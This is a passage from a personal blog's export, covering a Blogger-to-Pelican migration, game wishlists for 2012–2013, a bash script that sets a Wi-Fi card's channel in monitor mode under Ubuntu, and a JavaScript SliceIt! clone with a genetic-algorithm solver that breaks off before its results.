CATEGORY_FEED_ATOM = None
TRANSLATION_FEED_ATOM = None
# Blogroll
LINKS = (('Name', 'http://url.com/'),
)
# Social widget
SOCIAL = (('Twitter', 'http://twitter.com/username'),
)
DEFAULT_PAGINATION = 10
# Template
THEME = "themes/custom_theme"
</code></pre>
<br />
I then picked the <a href="https://github.com/getpelican/pelican-themes/tree/master/tuxlite_zf">TuxLite ZF</a> theme from <code>pelican-themes</code> as a starting point to put in <code>custom_theme</code>. I changed the color scheme, header sizes and spacings and fonts (making use of <a href="http://www.google.com/fonts/">Google's web fonts</a> to pick out a nice heading font which would work well with large-sized OpenSans for the normal text, which I'm currently in love with -- it works great for slides as well, try it!). Editing the Jinja2 themes was a breeze and mostly consisted of taking stuff away -- like tags and categories -- which I didn't need. Finally, I made sure to made the background "pop" behind the single-column content, using inspirational, high resolution foto's.<br />
<br />
Next up, the hard part, <em>converting all my Blogger posts to Markdown</em>... Luckily, Lars Kellogg-Stedman has had the same problem and describes possible approaches in <a href="http://blog.oddbit.com/post/converting-html-to-markdown">this post</a>. I thus created a folder with the following:<br />
<ul>
<li><code>blogger2md.py</code> from <a href="https://gist.github.com/larsks/4022537">https://gist.github.com/larsks/4022537</a></li>
<li><code>blogger-export.xml</code> from Blogger: an export of your blog</li>
<li><code>html2text.py</code> from <a href="https://raw.github.com/aaronsw/html2text/master/html2text.py">https://raw.github.com/aaronsw/html2text/master/html2text.py</a></li>
</ul>
You'll need to install <code>lxml</code> to get everything to work. This didn't work for me using <code>pip</code>, but <code>easy_install</code> did the job. Once this is setup, create a new directory <code>posts</code> and run:<br />
<br />
<pre><code>blogger2md.py --html2text --output-dir posts blogger-export.xml
</code></pre>
<br />
The script will start crunching and convert everything. Afterwards, I went through every post to rename the file name, correct the meta data, fix the links (Pelican wants <code>(|filename|FILE_PATH)</code>) and clean up some formatting issues still present after the conversion (quite a lot of them). This took a few evenings, but I now have a collection of Markdown posts for this complete blog.<br />
<h5 id="side-track-a-trip-down-memory-lane">
Side track: a trip down memory-lane</h5>
While I was converting all these posts, it struck me how long I've been blogging, and how "face-palmingly" bad my writings were as a kid. Luckily, my Geocities page has since long disappeared thanks to Yahoo! (actually, I should retrieve it from the archive for a laugh), but this wasn't that much better. <a href="http://blog.macuyiko.com/2005/07/back-and-right-into-summer.html">"This dog is gonna check out town"</a>... really, young me? I wanted to keep everything intact, but made some modifications to the language where I really felt I had to (swearing, "hackz0r M$"-bashing, referenced to piracy... hey, I was a poor kid).<br />
<br />
It's also funny to see the topics my blog has shifted through:<br />
<ul>
<li>Games, with sad reviews of "classics" such as <a href="http://blog.macuyiko.com/2006/10/game-scarface.html">Scarface</a>... and <a href="http://blog.macuyiko.com/2007/10/game-portal.html">Portal</a>.</li>
<li>Linkdumps, oftentimes based on what I'd read on Digg (yes, Digg!) that day. Is Digg still around? I almost forgot about the <a href="http://blog.macuyiko.com/2007/05/number.html">HD-DVD "number gate"</a> back then.</li>
<li>Linux related posts. Mostly following after acquiring my now pre-historic <a href="http://blog.macuyiko.com/2006/08/welcome-thinkpad-x60.html">Thinkpad X60</a> which is, in fact, still somewhat being used.</li>
<li>Hacking and thinkering... like <a href="http://blog.macuyiko.com/2010/08/oldie-but-goodie-privilege-escalation.html">here</a> and <a href="http://blog.macuyiko.com/2011/01/slowloris-and-mitigations-for-apache.html">here</a>. Some of these are not that bad. The <a href="http://blog.macuyiko.com/2011/03/running-ssh-honeypot-with-kippo-lets.html">Kippo</a> article has been pretty popular, together with the <a href="http://blog.macuyiko.com/p/palettestealersuspender.html">PalettestealerSuspender</a> tool. Others just show off my <a href="http://blog.macuyiko.com/2006/08/realtime-monitoring-with-php.html">horrific PHP skills</a>.</li>
<li><a href="http://blog.macuyiko.com/2009/06/solving-tetris-cube-recursive.html">Puzzles</a>, <a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html">algorithms</a>, optimization. I like these as well, but they should be proofed for language, spelling, formatting.</li>
</ul>
Anyway, back to the main programming now.<br />
<h4 id="just-stay-with-blogger">
Just stay with Blogger?</h4>
So here I was, ready to launch with Pelican. Admittedly, some of the posts needed some further formatting, some links has to be corrected and the Disqus comment system had to be implemented, but that could be done later. All there was left to do was relink the domain name (<a href="http://draft.blogger.com/blog.macuyiko.com">blog.macuyiko.com</a>) and put up a message on the old blog that things had moved.<br />
<br />
Still, I wasn't feeling sure about things. Just to be sure, I decided to have another look around to see if things had improved on the Blogger side as of yet, since it'd been a while since I'd searched for solutions.<br />
<br />
Turns out there is a web app called <a href="http://benweet.github.io/stackedit/">StackEdit</a> which provides a great Markdown writing environment, is able to sync to Dropbox or Google Drive (sweet) and is able to publish to Blogger. Alright, maybe one more chance, then. I spent some time revamping the old theme to match the design I'd put together for the static site (you're probably looking at it now), using the same fonts and colors. I had also set out to be able to change the background every time I made a new post, so I made sure I'd be able to do that from now on as well. That's why you're currently looking at a summer-y "pelican" background. It'd be great if I could made the background post-dependent, but maybe that's going too far.<br />
<br />
So I'm keeping things a bit longer with Blogger. As I said at the beginning, it offers some nice features, and this way I don't have to introduce yet another commenting system.<br />
<br />
On the plus side, I'm now able to write and keep posts as Markdown (using StackEdit with Google Drive) and host at Blogger. The theme doesn't look too bad (will need some further fine tuning) either. Still, if it turns out that I'd rather go to Pelican anyway (or maybe one of the services mentioned above), I now have a collection of Markdown posts at the ready.<br />
<br />
I realize this post didn't really offer any information. I guess this was an exercise in keeping things the same while still putting in lots of work. Still, it was nice reading up about static blog engines, and I'm still pretty intrigued by these hip, new services (Blogger certainly feels like the old guy in the block). In addition, the refresh of the Blogger theme has been inspiring in trying to conjure up some new content, so the remainder of the year will see the arrival of some other posts as well -- so long as this experiment goes right, this is a first test post after all. I should still go through the older posts to clean them up, but we'll see what we can manage.Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-56202817353829228132013-01-01T14:09:00.001+01:002013-01-01T14:10:36.415+01:00Games I'll Keep An Eye On In 2013In the same spirit as <a href="http://blog.macuyiko.com/2012/02/games-ill-keep-eye-on-in-2012.html" target="_blank">last year</a>, this is a (preliminary) list of game I'm interested in, releasing in 2013.<br />
<br />
First of all, let's revisit 2012... Here are the games I was interested in last year, together with the outcome -- at least according to me:<br />
<ul>
<li>Star Wars: The Old Republic: skipped it</li>
<li>Kingdoms of Amalur: Reckoning: it was okay, but nothing special</li>
<li>Binary Domain: let-down</li>
<li>SSX: okay, not great</li>
<li>Syndicate: let-down</li>
<li>Jak and Daxter Collection: great nostalgia trip</li>
<li>The Darkness 2: actually quite an awesome game</li>
<li>I am Alive: didn't buy it</li>
<li>Mass Effect 3: the one which disconnected me from the series (and I was a huge fan). I've heard there's some great DLC, but I've yet to play it</li>
<li>Diablo III: okay, but not as I expected</li>
<li>Devil May Cry HD Collection: have yet to buy it</li>
<li>Silent Hill HD Collection: have yet to buy it</li>
<li>Prey 2: didn't release</li>
<li>Starhawk: meh</li>
<li>Far Cry 3: awesome! In my 2012 top five list</li>
<li>Max Payne 3: a great game, but alas missed by many top 2012 lists</li>
<li>Darksiders II: greatly enjoyed it</li>
<li>Prototype 2: okay, but quickly forgotten compared to the other open-world games of 2012</li>
<li>Tomb Raider: didn't release</li>
<li>Guild Wars 2: best MMORPG of the moment</li>
<li>Borderlands 2: not bad, but got a bit of a "more of the same"-feeling here</li>
<li>The Last Guardian: didn't release</li>
<li>Lollipop Chainsaw: fun, but not spectacular</li>
<li>Grand Theft Auto V: didn't release</li>
<li>BioShock Infinite: didn't release</li>
<li>Doom 4: didn't release</li>
<li>Journey: again an awesome game, top listed</li>
<li>XCOM: Enemy Unknown: another great title and a must-play</li>
<li>Monaco: fun indie game</li>
<li>The Witness: did this release?</li>
<li>Firefall: still waiting</li>
<li>Cube World: didn't release</li>
<li>Overgrowth: did this release?</li>
<li>Path of Exile: couldn't hype me</li>
<li>Grim Dawn: didn't release</li>
<li>Starfarer: did this release?</li>
<li>Legend of Grimrock: a great indie title but alas flew a bit under the radar</li>
<li>Torchlight II: gave me more hours of fun than Diablo III did</li>
<li>Survivors of Ragnarok: did this release?</li>
<li>Project Zomboid: did this release? I should check up on this one</li>
<li>Masters of the Broken World: did this release?</li>
<li>Warlock: Master of the Arcane: did this release?</li>
<li>A Game of Dwarves: let-down</li>
<li>Jagged Alliance: let-down</li>
<li>Castle Story: didn't release</li>
<li>Retro City Rampage: actually pretty fun</li>
</ul>
There where also some surprises which I didn't list last year, most notably: Dishonored, Faster Than Light, Fez, Spelunky, Sleeping Dogs, The Walking Dead, Hitman: Absolution and Hotline Miami.<br />
<br />
And thus, my top 10 of 2012:<br />
<ol>
<li>Far Cry 3</li>
<li>Hotline Miami</li>
<li>Dishonored</li>
<li>XCOM: Enemy Unknown</li>
<li>Faster Than Light</li>
<li>Journey</li>
<li>The Walking Dead</li>
<li>Sleeping Dogs</li>
<li>Darksiders II</li>
<li>Torchlight II</li>
</ol>
<div>
And now, these are the games I'll be watching in 2013 (note the rising number of "kickstarted" entries):</div>
<div>
<div>
<ul>
<li>Bayonetta 2</li>
<li>Bioshock Infinite</li>
<li>Castle Story</li>
<li>Castlevania 2: Lords of Shadow</li>
<li>Castlevania: Lords of Shadow: Mirror of Fate</li>
<li>Command & Conquer Generals 2</li>
<li>Companty of Heroes 2</li>
<li>Crysis 3</li>
<li>Cube World</li>
<li>Dead Space 3</li>
<li>Doom 4</li>
<li>Double Fine Adventure Game</li>
<li>Elite: Dangerous</li>
<li>FireFall</li>
<li>God of War Ascension</li>
<li>Grand Theft Auto 5</li>
<li>Grim Dawn</li>
<li>Legend of Dungeon</li>
<li>Limit Theory</li>
<li>Metro: Last Light</li>
<li>Miami Hotline 2</li>
<li>Planetary Annihilation</li>
<li>Prey 2</li>
<li>Project Godus</li>
<li>Routine</li>
<li>Saints Row 4</li>
<li>Shadowgate</li>
<li>Shadowrun Returns</li>
<li>Sim City</li>
<li>Star Wars 1313</li>
<li>Sui Generis</li>
<li>The Last of Us</li>
<li>Tomb Raider</li>
<li>Wasteland 2</li>
<li>Wasteland 2</li>
<li>Watch Dogs</li>
<li>World of Darkness</li>
</ul>
</div>
</div>
Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-39935302776674282452012-05-22T20:49:00.002+02:002013-02-02T23:30:25.430+01:00Ubuntu 12.04: "fixed channel mon0: -1"Still having problems in Ubuntu with the fixed channel being -1 when using <tt>aircrack</tt> and friends? Luckily, the solution does not require patching this time (as it <a href="http://blog.macuyiko.com/2010/11/ubuntu-1010-fixed-channel-mon0-1.html">used to</a>), as the following (obtained from <a href="http://ubuntuforums.org/showpost.php?p=10550806&postcount=6">this forum post</a>) now works for me (the problem is basically that the channel can not be changed while the card is in monitor mode).<br />
<br />
Just create a bash script as such:<br />
<br />
<code class="prettyprint">#!/bin/bash<br />
#change this to the interface you wish to change<br />
IFACE="wlan0"<br />
<br />
ifconfig $IFACE down<br />
iwconfig $IFACE mode managed<br />
ifconfig $IFACE up<br />
iwconfig $IFACE channel $@<br />
ifconfig $IFACE down<br />
iwconfig $IFACE mode monitor<br />
ifconfig $IFACE up<br />
<br />
iwconfig $IFACE<br />
</code>
<br />
And everything should work just fine. Just continue to use <tt>$IFACE</tt> (e.g. <tt>wlan0</tt>) in all subsequent commands (<tt>airodump</tt>,...) you use. Naturally, you do not need to use <tt>airmon-ng</tt> anymore to put the network card in monitor mode (as <tt>$IFACE</tt> now already is in monitor mode).Macuyikohttp://www.blogger.com/profile/08019972977097834611noreply@blogger.comtag:blogger.com,1999:blog-21390211.post-71639276901064603842012-05-13T22:16:00.001+02:002012-05-13T22:18:40.408+02:00An Attempt At Making A Javascript/HTML5 SliceIt! Clone, And A (Failed) Attempt At A Genetic Algorithm Based SolverOne of the niceties of owning a smartphone is the huge amount of apps available for download, many of which are games.<br />
<br />
Some time ago, one of these games which was keeping me occupied was <a href="https://play.google.com/store/apps/details?id=com.com2us.sliceit&hl=en">SliceIt!</a> from Com2uS. Don't worry if you don't know the game or haven't played it, I'll quickly explain it below.<br />
<br />
<h3>
The Game</h3>
<div>
<br /></div>
SliceIt! is presented in a cute crayon-looking style:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNxyfndH3yWvjaQrX8WECYukohzy37tNSA5eZDn_WpfTCEKGOUDbPrUWYP15-Pfhl-TpCZhsPxAn6fb4lyw6N6QnVvefjZg0yPQuvLyDPU7D3toVmYlW2g9jDCzPwCe4auRQbeLw/s1600/sliceit01.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNxyfndH3yWvjaQrX8WECYukohzy37tNSA5eZDn_WpfTCEKGOUDbPrUWYP15-Pfhl-TpCZhsPxAn6fb4lyw6N6QnVvefjZg0yPQuvLyDPU7D3toVmYlW2g9jDCzPwCe4auRQbeLw/s1600/sliceit01.png" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">A typical SliceIt! level. Players draw lines (as shown here) to split a given shape into equally sized areas.</td></tr>
</tbody></table>
<br />
The goal of the game is to draw a number of lines to divide ("slice") the given area into a number of pieces. Both the number of lines and required pieces are fixed and given beforehand. You have to use all the strokes given, and have to match exactly the number of needed pieces. No more, no less. The final requirement of the game is that the resulting pieces need to have about the same area. While their form may differ, their area (size) has to match. This means for example that if the goal is to get four pieces, all these four pieces need to have a size around 25% (100%/4) of the original area. Pieces don't have to be of exactly the same size. If their areas differ slightly, the level is still won. This allows for levels which have straightforward but not-quite-perfect solutions and perfect but hard-to-find solutions as well.<br />
<br />
<h3>
The Idea</h3>
<div>
<br /></div>
So far, so good. After playing the game for a while, I encountered the following level:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK0wfKQ83YyWvqVUboPTmHTIUMhR4q6YXVFwDAPihIgbhsjIC4rFudydCrKtYP-87xXiDn9y0YoX4wri29nQkSEhtdY719Ti39jRXe15_joGqtWIJHvvJWujA1shwKIBYcy7PYag/s1600/sliceit02.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK0wfKQ83YyWvqVUboPTmHTIUMhR4q6YXVFwDAPihIgbhsjIC4rFudydCrKtYP-87xXiDn9y0YoX4wri29nQkSEhtdY719Ti39jRXe15_joGqtWIJHvvJWujA1shwKIBYcy7PYag/s200/sliceit02.png" width="141" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Another SliceIt level (goal: 5 strokes, 10 areas),</td></tr>
</tbody></table>
<br />
This level introduces another gameplay concept: blocked areas. Drawing lines which crosses these areas is forbidden, so this solution won't work:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTTQZw1kwpjfWBjf1JRf68wjHKrWAZu7IIp3McVUBQMOvz6AlyTCj8A60XcJTKEvrV1Lt8CjyhMMrP_OtF-e6a3-KlXZHQ2CHkO9_OxbYTDheSq2gjfZJwAaGeYsx_mi7JBJDCGQ/s1600/sliceit03.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTTQZw1kwpjfWBjf1JRf68wjHKrWAZu7IIp3McVUBQMOvz6AlyTCj8A60XcJTKEvrV1Lt8CjyhMMrP_OtF-e6a3-KlXZHQ2CHkO9_OxbYTDheSq2gjfZJwAaGeYsx_mi7JBJDCGQ/s200/sliceit03.png" width="153" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">This solution would use 5 lines to form 10 equal areas, but the red areas forbids the player to draw the final line.</td></tr>
</tbody></table>
After fiddling for a bit, we find the following acceptable solution:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhrGU1_1PMi3sXCH5-X5jGEEqS0BsQ0QuiWngWCsPB6e5wz0v457KAsN0g4hUp4vxtAbm1dRXCkD_OdunHny07zJWh8sCX1eX_MsrrJAt_IEvrBkt0yqdnuxiQ4Dr6PLrKta9FA/s1600/sliceit04.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqhrGU1_1PMi3sXCH5-X5jGEEqS0BsQ0QuiWngWCsPB6e5wz0v457KAsN0g4hUp4vxtAbm1dRXCkD_OdunHny07zJWh8sCX1eX_MsrrJAt_IEvrBkt0yqdnuxiQ4Dr6PLrKta9FA/s200/sliceit04.png" width="149" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">A solution.</td></tr>
</tbody></table>
<br />
While messing around, a thought popped into my head: could a genetic algorithm be used to solve a SliceIt! puzzle? At first sight, this seems like a good idea. The game itself is pretty easy. A chromosome representation can easily be established (since we know the list of strokes beforehand, so a population member can be represented simply as an array of coordinate-pairs:<br />
<br />
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">[</span><br />
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> (</span><span style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;">(l1x1,l1y1), (l1x2,l1y2)</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">),</span><br />
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">(</span><span style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;">(l2x1,l2y1), (l2x2,l2y2)</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">),</span><br />
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">(</span><span style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;">(l3x1,l3y1), (l3x2,l3y2)</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">),</span><br />
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">(</span><span style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;">(l4x1,l4y1), (l4x2,l4y2)</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">),</span><br />
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> </span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">(</span><span style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;">(l5x1,l5y1), (l5x2,l5y2)</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">)</span><br />
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">]</span><br />
<br />
And finally, the solutions can be easily checked (just compare areas with a known goal).<br />
<br />
And so I set out to test this theory as a weekend project.<br />
<br />
While lines, areas, points and polygons can all be expressed and compared mathematically, I wanted to create a graphical representation of the game as well. Moreover, I wanted to build a playable version, before implementing a genetic algorithm. Finally, I wanted to do this with HTML5 (canvas) and Javascript, as I've been pretty jealous of all these other cool genetic algorithm implementations available on the web:<br />
<ul>
<li>Shortest path:
<a href="http://tomokas.com/apps/pathfinding-using-a-genetic-algorithm-html5-canvas-javascript">http://tomokas.com/apps/pathfinding-using-a-genetic-algorithm-html5-canvas-javascript</a></li>
<li>Eater's world:
<a href="http://math.hws.edu/eck/jsdemo/ga-info.html">http://math.hws.edu/eck/jsdemo/ga-info.html</a>, demo at
<a href="http://math.hws.edu/eck/jsdemo/jsGeneticAlgorithm.html">http://math.hws.edu/eck/jsdemo/jsGeneticAlgorithm.html</a></li>
<li>Genetic hello world:
<a href="http://www.puremango.co.uk/2010/12/genetic-algorithm-for-hello-world/">http://www.puremango.co.uk/2010/12/genetic-algorithm-for-hello-world/</a></li>
<li>Function optimization:
<a href="http://icefox.github.com/javascript_genetic_algorithm/">http://icefox.github.com/javascript_genetic_algorithm/</a></li>
<li>Javascript Mona Lisa:
<a href="http://blog.nihilogic.dk/2009/01/genetic-mona-lisa.html">http://blog.nihilogic.dk/2009/01/genetic-mona-lisa.html</a></li>
</ul>
<br />
I didn't want go completely overboard, though. I only wanted to implement to most basic puzzles found in the game, as described above. Later levels add all sorts of crazy stuff (like bouncy edges and so on).
Still, the game allows for some constructs which are pretty challenging:<br />
<ol>
<li>Levels are created by defining a number of polygons. A level can be build out of multiple shapes.</li>
<li>These polygons can both be convex and concave.</li>
<li>The polygons can contain holes as well (not sure if there are levels like this in the game).</li>
<li>Polygons can be added to a level which denote "forbidden areas", though which no lines may be drawn.</li>
</ol>
Feature number three is the most challenging one. To solve this, you have to first create a polygon defining the outermost shape, and then additional polygons to define the holes. The area of the obtained shape is then calculated by subtracting the areas of all holes from the areas of all the outer shapes. While I was planning to implement this add first, I dropped it, mainly out of laziness, and because much of the logic in the game would've become quite harder when this aspect would be included.<br />
<br />
<h3>
The Implementation</h3>
<div>
<br />
The code turned out the be pretty complex. I created multiple Javascript object types, either handling game logic, or representing geometrical concepts. This means that types were made for:</div>
<div>
<ul>
<li>A point: constructed out of two numbers (x and y coordinates).</li>
<li>A line: constructed out of two points (point one and two).</li>
<li>A polygon: constructed out of an array of lines (the edges).</li>
<li>A rectangle: constructed out of two points (upper left and lower right corner).</li>
</ul>
<br />
The rectangle type should actually have been based upon the polygon type (a rectangle is just a special type of polygon). Similarly, in hindsight, the polygon object should have been defined as an array of points, instead of lines. For lines, methods to get the length and intersects with other lines were added. For polygons and rectangles, methods to get the area of the shape were added as well. I had to refresh my memory on geometry a bit:</div>
<div>
<ul>
<li>For intersects:
<a href="http://local.wasp.uwa.edu.au/~pbourke/geometry/lineline2d/">http://local.wasp.uwa.edu.au/~pbourke/geometry/lineline2d/</a>.</li>
<li>For area (and centroid):
<a href="http://en.wikipedia.org/wiki/Polygon#Area_and_centroid">http://en.wikipedia.org/wiki/Polygon#Area_and_centroid</a>, I used the shoelace/surveyor method (<a href="http://en.wikipedia.org/wiki/Shoelace_formula">http://en.wikipedia.org/wiki/Shoelace_formula</a>).</li>
</ul>
</div>
<div>
<br />
For the game logic, I created the following types:</div>
<div>
<ul>
<li>The surface: attached to a canvas element. Handles Javascript events (mouseup, mousemove...).</li>
<li>The drawer: contains methods to draw various things using a surface. These contain methods for drawing the level, the forbidden rectangles, and a cutting line when a player drags the mouse.</li>
<li>The level: contains level data, such as the number of allowed strokes and required pieces. The definition of the polygons making up the level, and the list of rectangles defining the forbidden areas. </li>
</ul>
</div>
<div>
<br />
The level object type also contains some methods for handling the harder game logic. E.g., methods which take a line, and figure out how the current list of level polygons should be cut.</div>
<div>
<br /></div>
<div>
The way levels are cut after drawing a line works like this. First, compare the drawn line with all the edges defined by all the polygons to get a list of intersects. Then, some basic checking is performed to figure out if the line is valid. Finally, if the line is valid, polygons are split up, and a list of new polygons is created.</div>
<div>
<br /></div>
<div>
An example can help here. The following figure shows how a line "splits" a single convex polygon:<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDRcCimUutRw0FeoYbh4V_2Sp3vFQ3wARvmJD7jPDM8FQWkWR-61iARDfnqcm2RvHnXiWmjbtCUHi0NUpqqJ0nrQaTMhK9P-YhbUW_1wH10-9x3NVpsm5aCILWfTjPfGrUrUbjEA/s1600/sliceit10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDRcCimUutRw0FeoYbh4V_2Sp3vFQ3wARvmJD7jPDM8FQWkWR-61iARDfnqcm2RvHnXiWmjbtCUHi0NUpqqJ0nrQaTMhK9P-YhbUW_1wH10-9x3NVpsm5aCILWfTjPfGrUrUbjEA/s1600/sliceit10.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
When a new line is drawn, the procedure is repeated for each polygon "crossed":</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTjMluCYmxXqElQqecuDjI4lZ9mHvFZnsyFwSSHM3wTM88sg7KJ0Dofp2mVVlJnSUbhHwuqBIxCPmpvmirHqhyMkG2xHPVxv1UtQdSw1Zt4Z-e2jmZAYqIP5uSiP-dNPfetv32Cg/s1600/sliceit11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTjMluCYmxXqElQqecuDjI4lZ9mHvFZnsyFwSSHM3wTM88sg7KJ0Dofp2mVVlJnSUbhHwuqBIxCPmpvmirHqhyMkG2xHPVxv1UtQdSw1Zt4Z-e2jmZAYqIP5uSiP-dNPfetv32Cg/s1600/sliceit11.png" /></a>
</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The basic check mentioned above to see if a line is valid is thus implemented in a very simple manner: check if the number of intersect points is even. For convex polygons, this is all we have to do, since each line drawn through a convex polygon will always create two other convex polygons. When dealing with concave polygons, things can get a bit harder:</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh826MQByrssi-UDFgKahgkmY5TBmc6oCuKd-kwcIuPsRSmG8YTDglVg7XQA6Qjr6FlmUxD6UbrZ4WocoiYnaMUa5HV-rOvb741OglISDrrGWZBQvzh1bb2d09tquHk2986u9XDeQ/s1600/sliceit12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh826MQByrssi-UDFgKahgkmY5TBmc6oCuKd-kwcIuPsRSmG8YTDglVg7XQA6Qjr6FlmUxD6UbrZ4WocoiYnaMUa5HV-rOvb741OglISDrrGWZBQvzh1bb2d09tquHk2986u9XDeQ/s1600/sliceit12.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
To solve this problem, we should either adapt our method in order to "clip" the drawn line with the given polygon. Instead of doing so, I opted to work with convex levels only.</div>
<div>
<br /></div>
<div>
As a side note, you might be tempted to think that the following adaptation of the "line validity" check could work as well, i.e.: f<span style="text-align: left;">ind the intersect points, and check if -- for each polygon p containing an intersect point -- that p has two intersect points (one entry and one exit). This prevents the line in the example above from being drawn (there are four intersects for the single given polygon). This also restricts the number of possibilities to splice a polygon with a given stroke (which might be the desired behavior). Still, it should be noted that this doesn't work either, since it can't be guaranteed that the two intersect indeed "enter" and "exit" the polygon in the right order:</span><br />
<span style="text-align: left;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2kFUBYj0JAVf1jax_5u2EShftu1m-J9SLeye6TljAGnmE5VChyk3t9os4xESMUCsydJcP5j9gCJVWBlRmRKinjVlZYY237oCuy2qFd_IB7E9V9ZgqmTCKnsKPbYCYqo0ZBi_GAA/s1600/sliceit13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2kFUBYj0JAVf1jax_5u2EShftu1m-J9SLeye6TljAGnmE5VChyk3t9os4xESMUCsydJcP5j9gCJVWBlRmRKinjVlZYY237oCuy2qFd_IB7E9V9ZgqmTCKnsKPbYCYqo0ZBi_GAA/s1600/sliceit13.png" /></a></div>
<div>
<span style="text-align: left;"><br /></span></div>
<div>
So convex-only levels for now. If someone wants to hack in support for complex polygons (concave and/or holes): links to the code will be posted at the end.</div>
<div>
<br /></div>
<div>
The last thing which was added were methods to check if a level is solved correctly.To avoid that the player has to have ultra-precise eye-hand coordination, very small polygons (e.g. less than one percent of the original area of the level) created by drawn lines are disregarded when checking the areas and number of goal areas.
Now that the game was playable, I converted the level which was giving me difficulties to coordinates, and started working on the genetic algorithm.<br />
<br /></div>
<h3>
The Genetic Algorithm</h3>
<div>
<br />
To implement the
<a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html">genetic algorithm</a>, I used the "Mona Lisa"-painting genetic algorithm by <a href="http://www.nihilogic.dk/labs/evolving-images/">Nihilogic</a> as a starting point. This algorithm implements a simple tournament-based genetic algorithm. As said earlier, each population member can be represented as a fixed size array of points denoting the position of the lines.</div>
<div>
<br /></div>
<div>
Crossover is easy as well, as we can just take one half of the array defined by parent number one, and combine it with the second half of the array defined by parent number two. I say "half", but it's not necessary to split the two arrays neatly in half; the crossover point can be randomly chosen.</div>
<div>
<br /></div>
<div>
Mutation works similarly. When the decision is made to mutate a member of the population, each point is randomly moved to a new position.<br />
<br /></div>
<h3>
The Result</h3>
<div>
<br />
